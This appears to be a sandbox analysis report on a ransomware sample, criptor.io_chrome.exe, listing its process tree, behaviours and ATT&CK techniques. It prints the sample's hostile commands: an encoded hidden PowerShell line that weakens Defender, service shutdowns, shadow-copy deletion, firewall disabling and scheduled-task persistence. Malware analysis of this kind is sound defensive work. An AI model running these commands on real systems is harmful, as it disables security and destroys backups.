PID 4168 wrote to memory of 5244	4168	criptor.io_chrome.exe	147
PID 4168 wrote to memory of 1704	4168	criptor.io_chrome.exe	150
PID 332 wrote to memory of 5012	332	cmd.exe	156
PID 4168 wrote to memory of 3180	4168	criptor.io_chrome.exe	157
PID 1612 wrote to memory of 2812	1612	cmd.exe	158
PID 268 wrote to memory of 5928	268	cmd.exe	159
PID 5284 wrote to memory of 1264	5284	cmd.exe	160
PID 5964 wrote to memory of 4592	5964	cmd.exe	161
PID 2076 wrote to memory of 3412	2076	cmd.exe	162
PID 3464 wrote to memory of 5500	3464	cmd.exe	163
PID 5500 wrote to memory of 3520	5500	net.exe	164
PID 332 wrote to memory of 1924	332	cmd.exe	165
PID 4168 wrote to memory of 312	4168	criptor.io_chrome.exe	166
PID 4168 wrote to memory of 4844	4168	criptor.io_chrome.exe	167
PID 4168 wrote to memory of 2724	4168	criptor.io_chrome.exe	168
PID 4168 wrote to memory of 4272	4168	criptor.io_chrome.exe	169
PID 4168 wrote to memory of 1796	4168	criptor.io_chrome.exe	170
PID 4168 wrote to memory of 4668	4168	criptor.io_chrome.exe	171
PID 2724 wrote to memory of 2856	2724	net.exe	178
PID 700 wrote to memory of 1324	700	chrome.exe	180
PID 700 wrote to memory of 2940	700	chrome.exe	181
PID 700 wrote to memory of 2940	700	chrome.exe	181
PID 700 wrote to memory of 324	700	chrome.exe	182
PID 700 wrote to memory of 324	700	chrome.exe	182
PID 700 wrote to memory of 3800	700	chrome.exe	184
PID 700 wrote to memory of 2836	700	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://criptor.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:700
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd05c7c728,0x7ffd05c7c734,0x7ffd05c7c740
    3⤵
    PID:2660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1476,i,7053330045844460865,6512856916161631189,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,2424547319787246882,6437963542408161827,262144 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:2
    3⤵
    PID:5040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2036,i,10959904341813443567,11732721228796773416,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:13
    3⤵
    PID:6004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3128,i,9084137121749805165,753197953810480698,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=3152 /prefetch:1
    3⤵
    PID:3836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,14169796970115942127,10044811296907317876,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=3172 /prefetch:1
    3⤵
    PID:1080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4568,i,4148792554021519927,9937629876463069510,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
    3⤵
    PID:464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5476,i,14069377923768004702,12170509905461752028,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
    3⤵
    PID:1324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5552,i,8126537886456288012,6638833716184680800,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:1
    3⤵
    PID:2940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5604,i,1429502569080156277,68387880409247076,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:1
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5632,i,4264368437110252046,14605537441361034436,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:1
    3⤵
    PID:2836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5232,i,4066490146372812963,3980178917907581416,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:1
    3⤵
    PID:3800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5776,i,3401022662518623455,16385598404359500029,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:1
    3⤵
    PID:5396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5288,i,15177106878091459297,13342417696863212550,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:1
    3⤵
    PID:5316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5840,i,4352735244873073521,2457308348452902279,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:1
    3⤵
    PID:5852
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5816,i,15359121061959978105,3012711550844256890,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:1
    3⤵
    PID:2172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=3404,i,5042315450257535369,12363236287903157865,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
    3⤵
    PID:5200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3144,i,14986399375744134823,9862551810502959005,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:14
    3⤵
    PID:1628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,7236873574418666513,8554404405795976422,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:14
    3⤵
    PID:4660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5864,i,16322741522999290213,13865543359995754672,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:14
    3⤵
    PID:5796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6036,i,1245628322308886857,3815642040654103720,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14
    3⤵
    PID:2800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6080,i,3295379750854692098,9476519510326802064,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=3152 /prefetch:14
    3⤵
    PID:3604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5604,i,7466656353778986029,16284086754724268444,524288 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:14
    3⤵
    PID:3200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=3188,i,13389662135682302739,16174642084864237793,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:1
    3⤵
    PID:680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=3392,i,16897172120646919432,6697707007337370547,2097152 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=3344 /prefetch:9
    3⤵
    PID:2068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5604,i,14552347123537076368,5896405174930501720,262144 --field-trial-handle=2352,i,4748601937096925143,4376368703235439850,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:10
    3⤵
    PID:1804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:252
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1244
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:704
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1876
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4252
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1548
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2940
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe"
    3⤵
    PID:4120
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2700
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5892
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1224
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5316
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4148
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1696
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:332
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5012
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1924
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1612
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2812
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5284
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1264
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5964
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3520
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5928
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5244
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1704
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3180
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:312
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4844
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:704
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2856
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1796
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4668

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2844

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5940

C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
1⤵
PID:5324

C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery